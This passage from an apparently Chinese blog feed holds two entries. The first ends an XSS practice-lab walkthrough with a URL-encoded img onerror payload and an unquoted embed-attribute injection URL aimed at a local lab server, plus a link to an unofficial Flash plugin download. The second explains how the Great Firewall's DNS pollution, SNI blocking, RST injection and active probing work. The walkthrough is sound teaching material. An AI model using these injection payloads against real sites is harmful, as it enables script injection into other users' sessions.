onerror=alert(1)&gt;</code></pre>
<p>将此内容进行URL转码</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-000948.png" alt="" width="2864" height="1376" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000948-xl.webp 1024w"></figure>
<p>最终可得以下URL编码（有点长）：</p>
<pre class="language-php line-numbers"><code>%3c%69%6d%67%0a%73%72%63%3d%78%0a%6f%6e%65%72%72%6f%72%3d%61%6c%65%72%74%28%31%29%3e</code></pre>
<p>输入后，即为成功：</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-000308.png" alt="" width="1932" height="1075" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-000308-xl.webp 1024w"></figure>
<h4>第十七关（level17）</h4>
<p>打开后发现我们这个浏览器貌似不支持Flash插件，所以我们需要安装一个Flash补丁（纯净版本的，无广告，BTW，安装好后，需要依赖Flash插件的4399，7K7K等网页小游戏也能游玩了）</p>
<p>下载链接：<a href="https://wwbte.lanzn.com/b014xa3ktc" target="_blank" rel="noopener noreferrer">点我前往下载</a>    密码：gsh3</p>
<p>（1）下载好了之后，按照以下步骤完成安装</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash.png" alt="" width="1409" height="700" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-xl.webp 1024w"></figure>
<p>（2）下图三个勾保持全选，并点击<code>NEXT</code></p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash-1.png" alt="" width="1414" height="696" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-1-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-1-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-1-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-1-xl.webp 1024w"></figure>
<p>（3）下图的含义我都标注出来了（我不希望创建快捷方式，所以我值选择第一个）</p>
<p>第一个你也可以选择不打勾（这个独立安装指的是能直接打开本地SWF小游戏用的）</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash-2.png" alt="" width="1405" height="702" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-2-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-2-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-2-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-2-xl.webp 1024w"></figure>
<p>（4）这里直接按照下图，选择NEXT</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash-3.png" alt="" width="1416" height="701" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-3-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-3-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-3-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-3-xl.webp 1024w"></figure>
<p>（5）再然后点击INSTALL，等待进度条跑完即可</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash-4.png" alt="" width="1407" height="694" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-4-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-4-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-4-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-4-xl.webp 1024w"></figure>
<p>（6）最后安装好后，点击<code>QUIT</code>退出</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash-5.png" alt="" width="1409" height="702" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-5-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-5-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-5-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-5-xl.webp 1024w"></figure>
<p>配置Edge浏览器（这里用Edge示例，其他浏览器也一样）</p>
<p>（1）打开浏览器的“设置”，搜索“Internet Explorer”选项</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash-6.png" alt="" width="2074" height="1291" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-6-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-6-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-6-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-6-xl.webp 1024w"></figure>
<p>按照上图进行操作</p>
<p>（2）按照下图的图片文字来操作</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/flash-7.png" alt="" width="2077" height="1271" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/flash-7-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/flash-7-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/flash-7-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/flash-7-xl.webp 1024w"></figure>
<p>（3）刷新原网页，即可出现</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-005023.png" alt="" width="2065" height="1275" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-005023-xl.webp 1024w"></figure>
<p>查看源码后，不难发现</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/level17.png" alt="" width="2515" height="852" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/level17-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/level17-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/level17-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/level17-xl.webp 1024w"></figure>
<p><code data-start="0" data-end="9">&lt;embed&gt;</code> 你可以先把它理解成：</p>
<pre class="language-html line-numbers"><code>&lt;embed src="要加载的资源地址"&gt;</code></pre>
<p>它是 HTML 里用来<strong data-start="69" data-end="79">嵌入外部资源</strong>的标签。以前常见用途是嵌入 Flash、PDF、音频、视频之类的内容</p>
<pre class="language-html line-numbers"><code>&lt;embed src="xsf01.swf" width="100%" height="100%"&gt;</code></pre>
<p>意思就是：</p>
<pre class="language-markdown line-numbers"><code>在当前网页里嵌入 xsf01.swf 这个 Flash 文件</code></pre>
<p><code data-start="373" data-end="378">a=b</code> 有什么用？它的作用是让你发现：</p>
<pre class="language-markdown line-numbers"><code>arg01 和 arg02 被拼进了 embed 的 src 属性里</code></pre>
<p>我们当前的 URL 是：</p>
<pre class="language-http line-numbers"><code>level17.php?arg01=a&amp;arg02=b</code></pre>
<p>源码里变成：</p>
<pre class="language-html line-numbers"><code>&lt;embed src=xsf01.swf?a=b width=100% heigth=100%&gt;</code></pre>
<p>这说明：</p>
<pre class="language-markdown line-numbers"><code>arg01 的值 a
arg02 的值 b

被拼成了：

xsf01.swf?a=b</code></pre>
<p>也就是：</p>
<pre class="language-markdown line-numbers"><code>xsf01.swf?arg01的值=arg02的值</code></pre>
<p>所以 <code data-start="736" data-end="741">a=b</code> 本身不是漏洞，它是一个<strong data-start="753" data-end="759">线索</strong></p>
<p>因为我们知道了：</p>
<pre class="language-markdown line-numbers"><code>arg02 的值会出现在 HTML 标签的 src 属性里</code></pre>
<p>而且源码中 <code data-start="838" data-end="843">src</code> 没有引号：</p>
<pre class="language-html line-numbers"><code>&lt;embed src=xsf01.swf?a=b width=100% heigth=100%&gt;</code></pre>
<p>如果属性没有引号，浏览器遇到空格就会认为这个属性结束了</p>
<p>比如正常是：</p>
<pre class="language-http line-numbers"><code>src=xsf01.swf?a=b</code></pre>
<p>如果我们让 <code data-start="988" data-end="995">arg02</code> 变成：</p>
<pre class="language-html line-numbers"><code>b onmouseover=alert(1)</code></pre>
<p>那么页面就会变成：</p>
<pre class="language-html line-numbers"><code>&lt;embed src=xsf01.swf?a=b onmouseover=alert(1) width=100% heigth=100%&gt;</code></pre>
<p>这时候：</p>
<pre class="language-html line-numbers"><code>src=xsf01.swf?a=b</code></pre>
<p data-start="1168" data-end="1172">就结束了</p>
<p data-start="1174" data-end="1178">后面的：</p>
<pre class="language-html line-numbers"><code>onmouseover=alert(1)</code></pre>
<p data-start="1214" data-end="1226">变成了一个新的事件属性。</p>
<p data-start="1228" data-end="1258">鼠标移动到这个嵌入区域上时，就会执行 <code data-start="1247" data-end="1257">alert(1)</code></p>
<p>所以最终的payload如下：</p>
<pre class="language-http line-numbers"><code>http://192.168.153.141:8088/level17.php?arg01=a&amp;arg02=b%20onmouseover=alert(1)</code></pre>
<p>其中：<code>%20 </code>= 空格</p>
<p>一句话总结：</p>
<p>embed 是嵌入外部资源的标签；a=b 的作用是暴露 arg01 和 arg02 被拼进了 embed 的 src 属性里。真正的漏洞点是 src 属性没有加引号，导致可以用空格逃出属性并添加事件</p>
<p>最后由于浏览器的内置保护，导致不能执行恶意代码，但是最终是能成功的</p>
<figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/59/Ping-Mu-Jie-Tu-2026-05-22-011251.png" alt="" width="2073" height="1360" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-xs.webp 320w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-sm.webp 480w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-md.webp 768w ,https://old.zeyun.org/media/posts/59/responsive/Ping-Mu-Jie-Tu-2026-05-22-011251-xl.webp 1024w"></figure>
<p>可能作者也考虑到了这一点，所以我们点击前往下一关的按钮即可</p>
<h2 class="align-center">剩余内容正在更新中</h2>
<p class="align-center"><strong>Ciallo～(∠・ω&lt; )⌒☆</strong></p>
            ]]>
        </content>
    </entry>
    <entry>
        <title>内网模拟&quot;长城防火墙&quot;</title>
        <author>
            <name>云泽</name>
        </author>
        <link href="https://old.zeyun.org/what_is_gfw.html"/>
        <id>https://old.zeyun.org/what_is_gfw.html</id>
            <category term="内网模拟GFW实验系列"/>
            <category term="Linux学习笔记"/>

        <updated>2026-05-06T22:13:44+09:00</updated>
            <summary>
                <![CDATA[
                    由于众所不一定周知的原因，在国内正常网络环情况下，你是无法直接打开 Google、YouTube、Gmail 等一系列国际服务的…… 这一切的根源，就是在我们和真实互联网之间，横着一堵看不见却又无处不在的「墙」 这堵墙在行内人嘴里有个响亮的名字——长城防火墙（简称&hellip;
                ]]>
            </summary>
        <content type="html">
            <![CDATA[
                <p dir="auto">由于众所不一定周知的原因，在国内正常网络环情况下，你是无法直接打开 Google、YouTube、Gmail 等一系列国际服务的……</p>
<p dir="auto">这一切的根源，就是在我们和真实互联网之间，横着一堵看不见却又无处不在的「墙」</p>
<p dir="auto">这堵墙在行内人嘴里有个响亮的名字——<strong>长城防火墙</strong>（简称 <strong>GFW</strong>）</p>
<p dir="auto"><strong>Q：那么这个所谓的「GFW」到底是什么东西？</strong></p>
<p dir="auto"><strong>A：</strong> 它其实并不是一堵实体意义上的「墙」，而是一套<strong>智能检测 + 主动阻断</strong>的系统，部署在各大运营商的骨干网出口</p>
<p dir="auto">它主要靠以下几种手段「工作」：</p>
<ul dir="auto">
<li><strong>深度包检测（DPI）</strong>：不仅看域名（DNS）、HTTP 头，连 TLS SNI，部分加密流量的特征都敢硬抠</li>
<li><strong>DNS 污染</strong>：你一查被墙域名，它就抢答一堆假 IP，让你直接连不上</li>
<li><strong>TCP 重置攻击</strong>：发现敏感关键词，瞬间伪造 RST 包，让双方以为对方主动断开连接</li>
<li><strong>IP 封锁</strong>：直接把境外服务器 IP 扔进黑洞路由，流量石沉大海</li>
<li><strong>主动探测</strong>：对可疑的 VPN、Shadowsocks、VLESS 等协议进行主动探测并封杀</li>
</ul>
<p dir="auto"><strong>Q：那「翻墙」到底是个什么原理？</strong></p>
<p dir="auto"><strong>A：</strong> 直白点说，就是把你的流量<strong>加密 + 伪装 + 境外中转</strong>，让 GFW 看不懂、拦不住（ 简单理解就是：<strong>翻墙 = 让 GFW 觉得你在访问一个「正常」的国际网站，而不是在翻墙</strong>）</p>
<figure class="post__image"><img  src="https://old.zeyun.org/media/posts/58/Wang-Luo-Zong-Lan.png" alt="" width="1415" height="915" sizes="(min-width: 760px) 660px, calc(93.18vw - 30px)" srcset="https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-xs.webp 320w ,https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-sm.webp 480w ,https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-md.webp 768w ,https://old.zeyun.org/media/posts/58/responsive/Wang-Luo-Zong-Lan-xl.webp 1024w"></figure><figure class="post__image"><img loading="lazy"  src="https://old.zeyun.org/media/posts/58/mermaid-diagram.svg" alt=""></figure>
<table class="min-w-full border-collapse text-sm leading-[1.7] whitespace-normal" style="width: 100%; height: 194.25px;">
<thead class="text-left">
<tr style="height: 48.5625px;">
<th class="text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold" style="width: 21.1749%; height: 48.5625px;" scope="col">场景</th>
<th class="text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold" style="width: 35.1774%; height: 48.5625px;" scope="col">对应演化阶段</th>
<th class="text-text-100 border-b-0.5 border-[hsl(var(--border-300)/0.6)] py-2 pr-4 align-top font-bold" style="width: 43.5051%; height: 48.5625px;" scope="col">演示的攻防点</th>
</tr>
</thead>
<tbody>
<tr style="height: 48.5625px;">
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 21.1749%; height: 48.5625px;">A</td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 35.1774%; height: 48.5625px;">最古老的 DNS 污染</td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 43.5051%; height: 48.5625px;">连域名解析都过不了</td>
</tr>
<tr style="height: 48.5625px;">
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 21.1749%; height: 48.5625px;">B(Trojan)</td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 35.1774%; height: 48.5625px;">第 3 代</td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 43.5051%; height: 48.5625px;">有指纹的协议被 DPI 识破</td>
</tr>
<tr style="height: 48.5625px;">
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 21.1749%; height: 48.5625px;">C(Reality)</td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 35.1774%; height: 48.5625px;">第 4 代</td>
<td class="border-b-0.5 border-[hsl(var(--border-300)/0.3)] py-2 pr-4 align-top" style="width: 43.5051%; height: 48.5625px;">借真站门面骗过检测</td>
</tr>
</tbody>
</table>
<p>为了能够更好的理解上面的内容，我把会涉及到的一些关键名词概念，在这里先做一个统一的讲解</p>
<h5>先给个全局：当我们正常打开一个网页时，背后具体发生了什么</h5>
<pre class="language-markdown line-numbers"><code>当你输入 google.com
  → ① DNS 查询:把域名 google.com 换成 IP 地址(问"DNS 服务器")
  → ② 拿到 IP,向这个 IP 发起 TCP 连接
  → ③ 如果是 https,做 TLS 握手(建立加密通道,握手里带 SNI)
  → ④ 加密传输网页内容</code></pre>
<p>GFW 在每一步都有对应的干预手段，下面的名词就是按这几步展开的</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">1. DNS —— 域名的"电话簿"</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>DNS(Domain Name System)</strong> 解决一件事:人记得住 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">google.com</code>,但网络只认 IP 地址(如 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">142.250.x.x</code>)。DNS 就是那本"域名 → IP"的电话簿。你每次访问网站,第一步都是先问 DNS:"google.com 的 IP 是多少?"</p>
<p><strong>DNS 污染 / DNS 投毒：</strong>GFW 最省事的封锁手段。既然你要先问 DNS，那我(GFW)就在答案上做手脚——你问 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">google.com</code> 的 IP，正常应该返回谷歌的真 IP，但被污染后返回一个<strong>假 IP</strong> 最终会发现，你压根连不到真谷歌</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">2. IP 地址 &amp; 端口 —— 网络上的"门牌号 + 房间号"</h5>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>IP 地址</strong>:每台机器在网络上的门牌号,如 10.10.40.100。</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>端口(port)</strong>:同一台机器上,不同服务用不同房间号。443 是 HTTPS 的标准端口,80 是 HTTP,22 是 SSH。所以"连 10.10.40.100 的 443 端口"= 找那台机器上的 HTTPS 服务。</li>
</ul>
<p class="font-claude-response-body break-words whitespace-normal"><strong>IP 封锁</strong>:GFW 最粗暴的手段——直接把某个 IP 拉黑,任何人连它都不通。前面讲的"主动探测确认是梯子后封 IP"，封的就是这个</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">3. TCP —— 可靠传输的"打电话"约定</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>TCP(Transmission Control Protocol)</strong> 是最常用的传输方式。特点是"先握手建立连接,再传数据,保证不丢不乱"。开头有个"三次握手"(SYN → SYN-ACK → ACK),你可以理解成打电话前的"喂?——喂,能听到吗?——能"</p>
<p class="font-claude-response-body break-words whitespace-normal">GFW 的 <code class="bg-text-200/5 border border-0.5 border-border-300 text-danger-000 whitespace-pre-wrap rounded-[0.4rem] px-1 py-px text-[0.9rem]">block</code> 是丢包让连接建不起来(超时)，而现实中的 GFW 常发 <strong>RST(reset)包</strong>——相当于强行挂断电话,连接立刻重置。RST 是 TCP 协议里的"立即终止"信号</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">4. TLS —— 加密的"信封"</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>TLS(Transport Layer Security)</strong> 就是 HTTPS 里的那个"S"(Secure)。没有它,你和网站之间的数据是明文,谁都能看；有了它，数据被加密封进"信封"，中间人(包括 GFW)只能看到信封，看不到里面写了啥</p>
<p class="font-claude-response-body break-words whitespace-normal">TLS 开始时要<strong>握手(handshake)</strong>：双方协商加密方式、交换证书、生成密钥。<strong>这个握手过程本身有一部分是明文的</strong>——这就给 GFW 留了破绽，见下面的 SNI</p>
<p class="font-claude-response-body break-words whitespace-normal"><strong>证书(certificate)</strong>：TLS 握手时,网站要出示一张"身份证"，证明"我真的是 google.com，不是假冒的"。这张证书由权威机构(CA)签发。<strong>Reality 偷的"门面",偷的就是真实网站的这张证书表现。</strong> 自签证书 = 自己给自己发身份证,正规浏览器会警告"不可信"</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">5. SNI —— 信封上的"明文收件人"</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>SNI(Server Name Indication)</strong> 是 TLS 握手里的一个字段,作用是告诉服务器"我要访问的是哪个域名"。为什么需要它:一台服务器可能同时托管很多网站(同一个 IP)，SNI 让服务器知道该出示哪张证书</p>
<p class="font-claude-response-body break-words whitespace-normal"><strong>关键破绽:SNI 是明文的。</strong> 虽然 TLS 把网页内容加密了，但握手阶段的 SNI 字段("我要连 google.com")是<strong>不加密、GFW 能直接看到的</strong>。所以 GFW 根本不用破解加密,只要看 SNI 里的域名在不在黑名单里，就能封。这叫 <strong>SNI 封锁 / SNI-based blocking</strong>，是现在真 GFW 的主力手段之一</p>
<p class="font-claude-response-body break-words whitespace-normal">Reality 之所以强,一部分就是它让 SNI 显示成一个正常大站(如 microsoft.com)，GFW 看 SNI 觉得没问题就放行了</p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">6. 熵值 —— 判断"这堆数据像不像随机噪音"</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>熵(entropy)</strong> 是信息论里衡量"<strong>不确定性 / 混乱程度</strong>"的指标</p>
<p>用大白话:<strong>一段数据越接近纯随机、越没规律,熵越高;越有规律、越可预测,熵越低</strong></p>
<p class="font-claude-response-body break-words whitespace-normal">举例(直觉):</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2">一段中文文章 → 有语法、有重复的字词 → <strong>低熵</strong>(有规律,可压缩)</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">一段全是随机字节的加密数据 → 每个字节都像掷骰子 → <strong>高熵</strong>(无规律,压不动)</li>
</ul>
<p class="font-claude-response-body break-words whitespace-normal">为什么 GFW 用它抓翻墙：</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>正常协议</strong>(HTTP、TLS 握手)开头都有<strong>明文的、有固定结构的部分</strong> → 那一段熵不会顶格</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>全加密翻墙协议</strong>(如 Shadowsocks)<strong>从第一个字节就是加密数据</strong> → 从头到尾高熵、看起来像纯随机噪音</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">于是 GFW 反推:<strong>一个连接如果开头就是一坨高熵随机数据、不匹配任何已知明文协议特征,那它很可疑,大概率是全加密梯子。</strong> 这就是"全加密流量检测(fet)"的核心判据之一</li>
</ul>
<p class="font-claude-response-body break-words whitespace-normal">简单来说，<strong>熵值高 = 看起来太像随机噪音 = 反而暴露了"你在藏东西"</strong> 正常流量不会通篇都是噪音,通篇是噪音本身就是一种特征</p>
<p class="font-claude-response-body break-words whitespace-normal">早期以为"全加密 = 最安全"，结果恰恰相反——<strong>太干净的随机性反而成了指纹</strong></p>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">7.RST 注入 —— GFW 怎么"强行挂断"你的连接</h5>
<p class="font-claude-response-body break-words whitespace-normal">上一轮讲过 TCP 用 RST 包表示"立即终止"。<strong>RST 注入(RST injection)</strong> 是 GFW 的经典主动干预手段:</p>
<p class="font-claude-response-body break-words whitespace-normal">GFW 在旁边监听你的连接,一旦判定要阻断,它<strong>伪造一个看起来来自对方的 RST 包</strong>塞进来。你的电脑收到这个"对方发来的"RST，以为是服务器要断开,就真的把连接关了</p>
<p class="font-claude-response-body break-words whitespace-normal">关键点:</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2">GFW <strong>不需要拦截或代理你的流量</strong>，它只是旁路监听 + 注入伪造包，成本极低，能大规模部署</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">伪造的前提是它能看到你连接的序列号(TCP 包的编号)，而这些在明文 TCP 头里——所以加密网页内容没用，TCP 头它照样看得见</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">你观感上是"连一下就断/重置"，和我们实验里的 OpenGFW 的"丢包超时"不同</li>
</ul>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">8.中间人 &amp; 旁路 —— GFW 站在什么位置</h5>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>旁路(on-path / passive)：</strong>GFW 像路边装了个摄像头，流量从主干道过,它复制一份来看,必要时往里"扔"伪造包(如 RST 注入、DNS 污染)。它不挡在你和服务器中间,所以<strong>不能修改真实流量,只能抢先注入</strong>（真 GFW 主体是这种模式——因为要处理的流量太大，做不到全都拦下来）</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>中间人(in-path / MITM)</strong>：真正挡在中间,所有流量必须穿过它,它能改、能拦、能代理</li>
</ul>
<h5 class="text-text-100 mt-3 -mb-1 text-[1.125rem] font-bold">9.DPI —— 深度包检测</h5>
<p class="font-claude-response-body break-words whitespace-normal"><strong>DPI(Deep Packet Inspection,深度包检测)</strong> 是个统称，指"不只看包的信封(IP/端口)，还拆开看内容和特征"（上一轮讲的协议指纹识别，SNI 提取，熵值分析，全都属于 DPI 的范畴）</p>
<p class="font-claude-response-body break-words whitespace-normal">对比:</p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>浅层检测</strong>:只看 IP 和端口(如"封掉这个 IP")，快但粗。</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>DPI</strong>:深入看数据包里的模式、协议特征、字段(如"这个连接的握手像 Trojan")</li>
<li class="font-claude-response-body whitespace-normal break-words pl-2">OpenGFW 的 analyzer 层做的就是 DPI</li>
</ul>
<h5>10.主动探测</h5>
<p class="font-claude-response-body break-words whitespace-normal">研究者是怎么<strong>证实 </strong>GFW 在主动探测的?</p>
<p class="font-claude-response-body break-words whitespace-normal">方法很巧：GFW 架一个只有自己知道的 Shadowsocks 服务器，不告诉任何人 IP。结果没多久，就有<strong>来自中国的陌生 IP 主动来连这个服务器，</strong>发各种畸形探测包。既然除了自己没人知道这个 IP，那这些探测只可能来自"看到了流量、记下 IP、来复查"的 GFW。这是"主动探测"从猜测变成实锤的经典研究</p>
<h5>11.加密 DNS(DoH / DoT)—— 对抗 DNS 污染的手段</h5>
<p class="font-claude-response-body break-words whitespace-normal">既然 DNS 污染的根源是"DNS 查询是明文,GFW 能看能改"，那对策就是<strong>把 DNS 查询也加密：</strong></p>
<ul class="[li_&amp;]:mb-0 [li_&amp;]:mt-1 [li_&amp;]:gap-1 [&amp;:not(:last-child)_ul]:pb-1 [&amp;:not(:last-child)_ol]:pb-1 list-disc flex flex-col gap-1 pl-8 mb-3">
<li class="font-claude-response-body whitespace-normal break-words pl-2"><strong>DoH(DNS over HTTPS)</strong>：把 DNS 查询伪装成普通的 HTTPS 请求(443 端口),GFW 看到的只是"你在访问某个 HTTPS 网站",看不出你在查 DNS，也就没法投毒</li>
